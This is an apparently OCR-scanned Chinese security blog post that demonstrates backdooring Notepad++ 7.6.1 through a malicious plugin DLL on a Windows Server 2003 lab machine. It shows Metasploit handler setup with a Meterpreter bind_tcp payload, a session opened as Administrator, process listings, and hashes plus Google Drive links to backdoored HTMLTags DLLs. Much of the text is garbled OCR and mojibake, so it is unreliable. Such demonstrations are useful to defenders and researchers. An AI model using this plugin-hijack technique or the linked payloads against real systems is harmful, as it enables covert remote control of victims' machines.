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Demo N :

e  Windows 2003 x64

e Windows 7 x64

e notepad++ 7.6.1

e vs2017
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Windows 2003 : ip 192.168.1.119

Ethernet adapter ﬁtﬂ%‘}:ﬁ::

Connection—specific DHE Suffix

IP Address. . . . . & & -« & -« - . = 192.168.1.11%9
Subnet Hask = 255.2585.255.8
Default Gateway : 172.168.1.1
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FiT:
Microzoft Windows Serwver 2003 E2
Enterprize xB4 Edition

' Service Pack 2
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C:~Docume ttings*“Administratorinetstat —an ifindstr “LISTEMING"
TGP A.A.A.8:8 LISTENING

TCP H.8.8.8 LISTENING
TCP H.8.8.8 LISTENING
TCP H.8.8.8 LISTENING
TCP H.8.8.8 LISTENING
TCP H.8.8.8 LISTENING
TCP H.8.8.8 LISTENING

Build time : Dec 12 2015 - 01:22:05

Motepad++ w7.6.1 [E4-hit )

author : Hotepadtt team
Home Page https:/fnotepad-plus—plus. org

GHU General Public Licence

modify it under the kerms af the GNU General Public License
as pul:ulisheu_:l I;ﬂ;.-' the Free S-:uF_tware Fu:uunu:laL:iu:-n; e_ither

This prograrm is free software; wou can redistribuke it andfor ;I
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notepad++ v7.6.xXLAEMASR | [EEHFFIFnotepad++ , Kfit/kpayload.,



Hotepadtt need to be relaunche EI

You hawe to restart Hotepadtt to load plugins wou installed.
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msf expluit(ﬁultifﬁandler) = show optilons

Module options {explolt/multishandler):

Mame Current Setting FRequired Description

Payload optlons (windows/x&4/meterpreter/bind_tcpl:

Mame Current Setting FRequired Description

EXITFUNC process Exit technique (Accepted: '', seh, thread, process, nonel
LPORT 443 yes The Tisten port
RHOST 192.158.1.119 no The target address

Exploit target:

Id Mame

Wildcard Target

exploit {multi/handler) = exploit -z

[#] Started bind handler

[#] Sending stage (2086403 bytes) to 182.188.1.119

[#] Sleeping before handling stage...

[#] Meterpreter session 1 opened (192.158.1.5:42803 -= 162,168.1.119:443) at 2018-12-31 06:24:05 -0500
[#] Session 1 created in the background.

msf exploit{multishandler} = sessions -1 1

[*¥] Starting interaction with 1...

meterpreter = getuid
Server username: WINGZXS4WAdministrator

meterpreter = getpid
Current pid: 2492

meterpreter = ps

meterpreter = getuid

Server username: WINGEXSA“Administrator
meterpreter = getpid

Current pid: 2492

meterpreter = ps

Process Lis

Mame Sesslon  User
[System Process]
System
SMSS . exe

cmd. exe
CSrss.exe
winlogon. exe
services. exe
1sass.exe
vmacthlp. exe
svchost.
swehost,
svchost.
svchost,
svchost.
spoolsy.
msdtc.exe
svchost. exe
inetinfo.exe
svchost. exe
ViGauthService  exe
ymtoolsd. exe
svchost. exe
svchost. exe
dllhost. exe
WIlprvse, exe
explorer. exe
conime. exe
vmtoolsd. exe
ctfmon. exe
ctfmon. exe
notepad++. exe
wIlprvse . exe
WIaUc (L. exe

MT AUTHORITYSYSTEM nSystemRoothSystem32ismss . exe

WINDTXG Administrator  CoWWINDOWShsystem3Z2homd. exe

AUTHORITYSYSTEM SEPNCOWINDOWS wsystem32hesrss, exe

ALUTHORI TV SYSTEN WEPNCWINDOWS system32ywinlagon. exe
AUTHORITYSYSTEM WWINDOWS system3Ziservices ., exe

AUTHORITYSYSTEM SWINDOWS system32ylsass exe

AUTHORITYSYSTEM “Program Files‘\WMwaredWMware Tools'wmacthlp.exe
AUTHIRITYSYSTEM SWINDOWS system3Zvsvchost.

SWINDOWS system3Zysvchost.

SWINDOWS system32ysvchost.
SWINDOWS sy stem32yavchost,

SWINDOWS System32ysvehost,

SWINDOWS system3Zyspoolsy.

SWINDOWS system3Zwmsdic, exe

WWINDOWSY System32ysvehost. exe

SWINDOWS system3Zvinetsrviinetinto. exe

SWINDOWS system32vsvehost, exe

“Program Filles‘WMwaredWMware Tools'WMware VGAUth'WGAUthService.exe
“Program Files‘\WMwaredWMware Toolswmtoolsd.exe
SWINDOWS System3Zvsvchost. exe
WWINDOWS ' System3Zvsvehost. exe

SWINDOWS system32hdllhost. exe

WWINDOWS sy stem32vwhemwmipryvse., exe
SWINDOWSExplorer. EXE

SWINDOWS system3Ziconime . exe

“Program Files‘WhwaredWMware Toolswwmtoolsd.exe
SWINDOWS system32yetfmon. exe
SWINDOWS S Sy sWoWG et fmon ., exe

“Program FilesiNotepad++inotepad++.exe

SWINDOWS system32whemwniprvse . exe
CWINDONS Sy S TeM I Wauc (T, 86e

EEEEEE

AUTHORITYSYSTEM
AUTHORITYSYSTEM

AUTHORTTYSYSTEM
AUTHORITYSYSTEM

AUTHORITYSYSTEM
AUTHORITYSYSTEM
AUTHORITYSYSTEM
AUTHORITYSYSTEM
AUTHORITYSYSTEM

55555 23 35

WINDTXG Administrator
WINGIXG Administrator
WING3SXE4 administrator
WING3XEA administrator
WINGSXEA Adminlstrator
WINDTXGa Administrator
MT AUTHORITYS1STEM

WINLTXea AaminIstratar
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HEEM—RERENSREE | XEB(UERTENWARMNIZE SHaRE,

KTFEI , TeRE—FERHZF , #HNEAYEAE T shellcodelInBERR | i
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Ademo A¥Fnotepad++ v7.6hRAE, EALLAZE Inotepad++EHFbug, 7.6.18
N

Notepad++ v7.6.1 new enhancement and bug-fizes

. Several bug-fizxes & enhancement on Plugins Adrmin.

2. Notepad++ will load pluginz from % PROGRAMDA nstead of %LOCALAPPDATA Y.
3. Fix installer's plugins copy issue under Linuz (b
4. Fix Installer HI-DPI GUI glitch.
. Fiz "Impoert plugins” not working issue.
6. Fiz printer header/footer font izsue.
7. Make installer more coherent for the option delecalCenf .z ml.

8. Make text display right in summary panel.

AUEHEE—X, FRMAESbug.

Demo for dll :
HFdemoFHRIEMBRLIE, SERBESXERS. BN , BINTEELN A
Tz, demofUFFAL443iK0. SHFENIERE,

HTMLTags_x32.dll

K/N: 73728 =15

A4hRAs: 1.4.1.0

{E3AtE): 20185128 31H, 18:51:20

MDS5: FDF30DD5494B7F8C61420C6245E79BFE


https://micropoor.blogspot.com/2018/12/blog-post.html

SHA1: D23B21C83A9588CDBAD81E42B130AFE3EDB53EBB
CRC32: D06C6BD1

https://drive.google.com/open?id=1_sFKMWi6Zuyl v82RolwZR80rgKr7GD4

HTMLTags_x64.dll

K/)\: 88064 =15

AHRRA: 1.4.1.0

{&2ata): 20185128 31H, 18:51:09

MD5: D7355FF1E9D158B6F917BD63159F4D86

SHA1: 9E6BC1501375FFBCO5A8E20B99DC032C43996EA3
CRC32: 606E5280

https://drive.google.com/open?id=1JwmW8KrxYoQ1Dk VNtnDsOMxM6tugCs
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